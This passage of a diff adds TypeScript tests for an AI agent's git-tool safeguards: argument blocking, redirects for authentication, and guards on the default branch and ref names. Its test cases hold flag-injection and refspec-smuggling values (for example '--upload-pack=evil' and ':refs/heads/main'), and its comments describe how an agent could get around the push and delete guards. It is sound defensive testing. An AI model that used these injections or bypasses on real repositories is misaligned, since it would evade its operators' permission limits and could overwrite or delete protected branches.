+ const error = validateGitCommand({
322
+ command: "log",
323
+ args: ["--exec=evil-command"],
324
+ shellPermission: "disabled",
325
+ });
326
+ expect(error).toContain("arbitrary code");
327
+ });
328
+
329
+ it("blocks --extcmd in args (disabled) — on a subcommand that isn't blocked at the subcommand level", () => {
330
+ // difftool itself is now blocked at the subcommand level (closes the `-x`
331
+ // short-form bypass), so the arg-level check never runs for difftool in
332
+ // disabled mode. use `log --extcmd=...` to exercise the arg-level code
333
+ // path: `log` isn't in NOSHELL_BLOCKED_SUBCOMMANDS, so validation falls
334
+ // through to the arg scan and the --extcmd block triggers.
335
+ const error = validateGitCommand({
336
+ command: "log",
337
+ args: ["--extcmd=evil-command", "HEAD~1"],
338
+ shellPermission: "disabled",
339
+ });
340
+ expect(error).toContain("arbitrary code");
341
+ });
342
+
343
+ it("blocks --upload-pack in args (disabled)", () => {
344
+ const error = validateGitCommand({
345
+ command: "ls-remote",
346
+ args: ["--upload-pack=evil"],
347
+ shellPermission: "disabled",
348
+ });
349
+ expect(error).toContain("arbitrary code");
350
+ });
351
+
352
+ it("allows --exec in restricted mode (agent has shell)", () => {
353
+ const error = validateGitCommand({
354
+ command: "rebase",
355
+ args: ["--exec", "npm test", "HEAD~1"],
356
+ shellPermission: "restricted",
357
+ });
358
+ expect(error).toBeNull();
359
+ });
360
+
361
+ it("allows --extcmd in restricted mode", () => {
362
+ const error = validateGitCommand({
363
+ command: "difftool",
364
+ args: ["--extcmd=less"],
365
+ shellPermission: "restricted",
366
+ });
367
+ expect(error).toBeNull();
368
+ });
369
+
370
+ it("allows blocked args in enabled mode", () => {
371
+ const error = validateGitCommand({
372
+ command: "difftool",
373
+ args: ["--extcmd=less"],
374
+ shellPermission: "enabled",
375
+ });
376
+ expect(error).toBeNull();
377
+ });
378
+
379
+ it("allows normal args in disabled mode", () => {
380
+ const error = validateGitCommand({
381
+ command: "log",
382
+ args: ["--oneline", "-10", "--format=%H %s"],
383
+ shellPermission: "disabled",
384
+ });
385
+ expect(error).toBeNull();
386
+ });
387
+
388
+ it("does not false-positive on --exclude-standard (not --exec)", () => {
389
+ const error = validateGitCommand({
390
+ command: "ls-files",
391
+ args: ["--exclude-standard"],
392
+ shellPermission: "disabled",
393
+ });
394
+ expect(error).toBeNull();
395
+ });
396
+
397
+ it("does not false-positive on --execute (not --exec=)", () => {
398
+ const error = validateGitCommand({
399
+ command: "log",
400
+ args: ["--execute-something"],
401
+ shellPermission: "disabled",
402
+ });
403
+ expect(error).toBeNull();
404
+ });
405
+
406
+ it("does not false-positive on -c (combined diff format for git log)", () => {
407
+ const error = validateGitCommand({
408
+ command: "log",
409
+ args: ["-c", "--oneline"],
410
+ shellPermission: "disabled",
411
+ });
412
+ expect(error).toBeNull();
413
+ });
414
+ });
415
+
416
+ describe("git tool security - auth redirect", () => {
417
+ it("redirects push in all modes", () => {
418
+ const modes: ShellPermission[] = ["disabled", "restricted", "enabled"];
419
+ for (const mode of modes) {
420
+ const error = validateGitCommand({
421
+ command: "push",
422
+ args: [],
423
+ shellPermission: mode,
424
+ });
425
+ expect(error).toContain("authentication");
426
+ }
427
+ });
428
+
429
+ it("redirects fetch", () => {
430
+ const error = validateGitCommand({
431
+ command: "fetch",
432
+ args: [],
433
+ shellPermission: "enabled",
434
+ });
435
+ expect(error).toContain("authentication");
436
+ });
437
+
438
+ it("redirects pull", () => {
439
+ const error = validateGitCommand({
440
+ command: "pull",
441
+ args: [],
442
+ shellPermission: "enabled",
443
+ });
444
+ expect(error).toContain("authentication");
445
+ });
446
+
447
+ it("pull redirect recommends merge (not rebase) regardless of shell mode", () => {
448
+ // F5 regression: the redirect previously suggested "or 'rebase' unless
449
+ // shell is disabled", which was misleading noise under shell=disabled
450
+ // (rebase is blocked by NOSHELL_BLOCKED_SUBCOMMANDS there) and redundant
451
+ // under other modes (agents can invoke rebase directly if they want).
452
+ // the current redirect names only merge — the one alternative that
453
+ // works in every shell mode.
454
+ for (const mode of ["disabled", "restricted", "enabled"] as ShellPermission[]) {
455
+ const error = validateGitCommand({
456
+ command: "pull",
457
+ args: [],
458
+ shellPermission: mode,
459
+ });
460
+ expect(error).toContain("merge");
461
+ expect(error).not.toMatch(/rebase/i);
462
+ }
463
+ });
464
+
465
+ it("redirects clone", () => {
466
+ const error = validateGitCommand({
467
+ command: "clone",
468
+ args: [],
469
+ shellPermission: "enabled",
470
+ });
471
+ expect(error).toContain("authentication");
472
+ });
473
+ });
474
+
475
+ // ─── dependency install security tests ──────────────────────────────────
476
+
477
+ // mirrors the logic in dependencies.ts startInstallation()
478
+ function shouldIgnoreScripts(shellPermission: ShellPermission): boolean {
479
+ return shellPermission === "disabled";
480
+ }
481
+
482
+ describe("git tool security - rejectIfLeadingDash", () => {
483
+ it("rejects refs starting with --", () => {
484
+ expect(() => rejectIfLeadingDash("--upload-pack=evil", "ref")).toThrow(
485
+ /Blocked: ref '--upload-pack=evil' starts with '-'/,
486
+ );
487
+ });
488
+
489
+ it("rejects refs starting with a single -", () => {
490
+ expect(() => rejectIfLeadingDash("-c", "ref")).toThrow(/starts with '-'/);
491
+ });
492
+
493
+ it("allows normal branch names", () => {
494
+ expect(() => rejectIfLeadingDash("main", "ref")).not.toThrow();
495
+ expect(() => rejectIfLeadingDash("feature/foo", "ref")).not.toThrow();
496
+ expect(() => rejectIfLeadingDash("pull/123/head", "ref")).not.toThrow();
497
+ expect(() => rejectIfLeadingDash("release-1.2", "ref")).not.toThrow();
498
+ });
499
+
500
+ it("allows branch names containing dashes (not leading)", () => {
501
+ expect(() => rejectIfLeadingDash("feat-x", "branchName")).not.toThrow();
502
+ });
503
+
504
+ it("customizes the kind label in the error", () => {
505
+ expect(() => rejectIfLeadingDash("-evil", "branchName")).toThrow(/branchName '-evil'/);
506
+ });
507
+ });
508
+
509
+ describe("git tool security - rejectSpecialRef (default-branch bypass)", () => {
510
+ // an agent in restricted mode normally can't push to the default branch —
511
+ // PushBranchTool compares the resolved remoteBranch against defaultBranch
512
+ // and blocks the match. before this guard, passing `branchName:
513
+ // "refs/heads/main"` bypassed the check (the exact-string compare fails
514
+ // because "refs/heads/main" !== "main") while git still pushed to main.
515
+ it("rejects fully-qualified refs/heads/... branch names", () => {
516
+ expect(() => rejectSpecialRef("refs/heads/main", "branch")).toThrow(/fully-qualified ref path/);
517
+ expect(() => rejectSpecialRef("refs/heads/feature/foo", "branch")).toThrow(
518
+ /fully-qualified ref path/,
519
+ );
520
+ });
521
+
522
+ it("rejects refs/tags/... and refs/remotes/... forms too", () => {
523
+ // push_branch only pushes branches, so every refs/-prefixed form is
524
+ // illegitimate here — no need to whitelist refs/heads/ alone.
525
+ expect(() => rejectSpecialRef("refs/tags/v1", "branch")).toThrow(/fully-qualified ref path/);
526
+ expect(() => rejectSpecialRef("refs/remotes/origin/main", "branch")).toThrow(
527
+ /fully-qualified ref path/,
528
+ );
529
+ });
530
+
531
+ it("rejects symbolic refs that resolve to arbitrary commits", () => {
532
+ // `git push origin HEAD` and friends pick up whatever commit those refs
533
+ // point at — not what the agent named, and not constrained by the
534
+ // default-branch guard either.
535
+ for (const ref of ["HEAD", "FETCH_HEAD", "ORIG_HEAD", "MERGE_HEAD"]) {
536
+ expect(() => rejectSpecialRef(ref, "branch")).toThrow(/symbolic ref/);
537
+ }
538
+ });
539
+
540
+ it("still rejects leading-dash (inherits rejectIfLeadingDash)", () => {
541
+ expect(() => rejectSpecialRef("-evil", "branch")).toThrow(/starts with '-'/);
542
+ });
543
+
544
+ it("allows bare branch names including ones with slashes", () => {
545
+ for (const b of ["main", "pr-123", "feature/foo", "release/v2", "user/name/topic"]) {
546
+ expect(() => rejectSpecialRef(b, "branch")).not.toThrow();
547
+ }
548
+ });
549
+
550
+ // refspec syntax: git push accepts `[+]src[:dst]`. without these checks an
551
+ // agent under push:restricted smuggles a full refspec through branchName,
552
+ // and the downstream exact-string default-branch guard misses because the
553
+ // value isn't literally "main". these are the exact attacks the new
554
+ // rejection closes.
555
+ it("rejects ':' (refspec src:dst split that targets main)", () => {
556
+ expect(() => rejectSpecialRef("evil:refs/heads/main", "branch")).toThrow(
557
+ /refspec\/revision syntax/,
558
+ );
559
+ });
560
+
561
+ it("rejects leading ':' (delete-ref refspec deletes remote main)", () => {
562
+ expect(() => rejectSpecialRef(":refs/heads/main", "branch")).toThrow(
563
+ /refspec\/revision syntax/,
564
+ );
565
+ });
566
+
567
+ it("rejects leading '+' (force-push refspec prefix)", () => {
568
+ expect(() => rejectSpecialRef("+main", "branch")).toThrow(/refspec\/revision syntax/);
569
+ });
570
+
571
+ it("rejects '~' and '^' (revision modifiers that resolve to parents)", () => {
572
+ expect(() => rejectSpecialRef("main~1", "branch")).toThrow(/refspec\/revision syntax/);
573
+ expect(() => rejectSpecialRef("main^", "branch")).toThrow(/refspec\/revision syntax/);
574
+ });
575
+
576
+ it("rejects whitespace (not permitted in git branch names)", () => {
577
+ expect(() => rejectSpecialRef("main other", "branch")).toThrow(/refspec\/revision syntax/);
578
+ expect(() => rejectSpecialRef("foo\tbar", "branch")).toThrow(/refspec\/revision syntax/);
579
+ });
580
+
581
+ it("rejects shell/glob metacharacters forbidden in branch names", () => {
582
+ for (const b of ["main?", "main*", "main[", "main\\x"]) {
583
+ expect(() => rejectSpecialRef(b, "branch")).toThrow(/refspec\/revision syntax/);
584
+ }
585
+ });
586
+ });
587
+
588
+ describe("git tool security - validateTagName (push_tags refspec injection)", () => {
589
+ it("rejects tags containing ':' (refspec src:dst split)", () => {
590
+ // without this, "foo:refs/heads/main" would push the local refs/tags/foo's
591
+ // commit to remote main and bypass the push_branch default-branch guard.
592
+ expect(() => validateTagName("foo:refs/heads/main")).toThrow(/could be parsed as a refspec/);
593
+ expect(() => validateTagName("v1.0:bar")).toThrow(/refspec/);
594
+ });
595
+
596
+ it("rejects tags with leading '-' (flag injection)", () => {
597
+ expect(() => validateTagName("-c")).toThrow(/starts with '-'/);
598
+ expect(() => validateTagName("--upload-pack=evil")).toThrow(/starts with '-'/);
599
+ });
600
+
601
+ it("rejects tags with whitespace or control chars", () => {
602
+ expect(() => validateTagName("foo bar")).toThrow(/could be parsed/);
603
+ expect(() => validateTagName("foo\nrefs/heads/main")).toThrow(/could be parsed/);
604
+ });
605
+
606
+ it("rejects tags with shell / refspec metacharacters", () => {
607
+ const bad = ["foo~1", "foo^", "foo?", "foo*", "foo[", "foo\\bar", "foo;evil"];
608
+ for (const t of bad) {
609
+ expect(() => validateTagName(t)).toThrow(/could be parsed/);
610
+ }
611
+ });
612
+
613
+ it("allows plausible tag names", () => {
614
+ const ok = ["v1.0.0", "release-2024-01", "feature/thing", "v1", "hotfix_1"];
615
+ for (const t of ok) {
616
+ expect(() => validateTagName(t)).not.toThrow();
617
+ }
618
+ });
619
+
620
+ it("rejects empty tag", () => {
621
+ expect(() => validateTagName("")).toThrow(/could be parsed/);
622
+ });
623
+ });
624
+
625
+ describe("DeleteBranchTool - default-branch guard", () => {
626
+ // push: enabled authorizes pushes — not wholesale removal of the repo's
627
+ // primary branch. GitHub branch protection usually blocks this at the
628
+ // remote, but not every repo has protection on, so guard locally too.
629
+ function makeCtx(defaultBranch: string): ToolContext {
630
+ return {
631
+ payload: { push: "enabled" },
632
+ repo: { data: { default_branch: defaultBranch } },
633
+ gitToken: "test-token",
634
+ } as unknown as ToolContext;
635
+ }
636
+
637
+ it("blocks deletion of the default branch even with push: enabled", async () => {
638
+ const tool = DeleteBranchTool(makeCtx("main"));
639
+ const result = (await (tool.execute as (p: unknown, ctx: unknown) => Promise<unknown>)(
640
+ { branchName: "main" },
641
+ {} as Parameters<NonNullable<typeof tool.execute>>[1],
642
+ )) as { content: [{ text: string }]; isError?: boolean };
643
+ /* cast: FastMCP execute returns a union of content shapes; these tests
644
+ always return the handleToolError envelope, which matches this shape. */
645
+ expect(result.isError).toBe(true);
646
+ expect(result.content[0].text).toMatch(/default branch/i);
647
+ });
648
+
649
+ it("honors the repo's actual default branch name (not just 'main')", async () => {
650
+ const tool = DeleteBranchTool(makeCtx("trunk"));
651
+ const result = (await (tool.execute as (p: unknown, ctx: unknown) => Promise<unknown>)(
652
+ { branchName: "trunk" },
653
+ {} as Parameters<NonNullable<typeof tool.execute>>[1],
654
+ )) as { content: [{ text: string }]; isError?: boolean };
655
+ /* cast: FastMCP execute returns a union of content shapes; these tests
656
+ always return the handleToolError envelope, which matches this shape. */
657
+ expect(result.isError).toBe(true);
658
+ expect(result.content[0].text).toMatch(/default branch 'trunk'/);
659
+ });
660
+
661
+ it("still blocks when the agent tries the refs/heads/... bypass", async () => {
662
+ // rejectSpecialRef catches this before the default-branch check, but the
663
+ // test asserts the chain stops it — either error is acceptable, just not
664
+ // a successful delete.
665
+ const tool = DeleteBranchTool(makeCtx("main"));
666
+ const result = (await (tool.execute as (p: unknown, ctx: unknown) => Promise<unknown>)(
667
+ { branchName: "refs/heads/main" },
668
+ {} as Parameters<NonNullable<typeof tool.execute>>[1],
669
+ )) as { content: [{ text: string }]; isError?: boolean };
670
+ /* cast: FastMCP execute returns a union of content shapes; these tests
671
+ always return the handleToolError envelope, which matches this shape. */
672
+ expect(result.isError).toBe(true);
673
+ });
674
+ });
675
+
676
+ describe("git tool security - checkoutPrBranch rejects malicious PR refs", () => {
677
+ // PR head/base ref names are attacker-controlled on forks (PR author picks
678
+ // headRef freely, and baseRef could be a maliciously-named branch on the
679
+ // target repo). they flow into `git fetch origin <ref>` and similar, so a
680
+ // ref starting with '-' would be parsed as a flag, not a refspec.
681
+ // checkoutPrBranch validates them up-front with rejectIfLeadingDash.
682
+ const basePr: PrData = {
683
+ number: 1,
684
+ headSha: "a".repeat(40),
685
+ headRef: "feature",
686
+ headRepoFullName: "user/repo",
687
+ baseRef: "main",
688
+ baseRepoFullName: "user/repo",
689
+ maintainerCanModify: false,
690
+ };
691
+ // checkoutPrBranch validates before any async call, so the params never get
692
+ // dereferenced — a cast is enough to satisfy the type checker.
693
+ const dummyParams = {} as Parameters<typeof checkoutPrBranch>[1];
694
+
695
+ it("rejects a leading-dash headRef before any git call", async () => {
696
+ await expect(
697
+ checkoutPrBranch({ ...basePr, headRef: "-upload-pack=evil" }, dummyParams),
698
+ ).rejects.toThrow(/PR head ref.*starts with '-'/);
699
+ });
700
+
701
+ it("rejects a leading-dash baseRef before any git call", async () => {
702
+ await expect(
703
+ checkoutPrBranch({ ...basePr, baseRef: "--config-env=FOO=BAR" }, dummyParams),
704
+ ).rejects.toThrow(/PR base ref.*starts with '-'/);
705
+ });
706
+ });
707
+
708
+ describe("dependency install - ignore-scripts logic", () => {
709
+ it("ignoreScripts is true when shell is disabled", () => {
710
+ expect(shouldIgnoreScripts("disabled")).toBe(true);
711
+ });
712
+
713
+ it("ignoreScripts is false when shell is restricted (scripts run in stripped env)", () => {
714
+ expect(shouldIgnoreScripts("restricted")).toBe(false);
715
+ });
716
+
717
+ it("ignoreScripts is false when shell is enabled", () => {
718
+ expect(shouldIgnoreScripts("enabled")).toBe(false);
719
+ });
720
+ });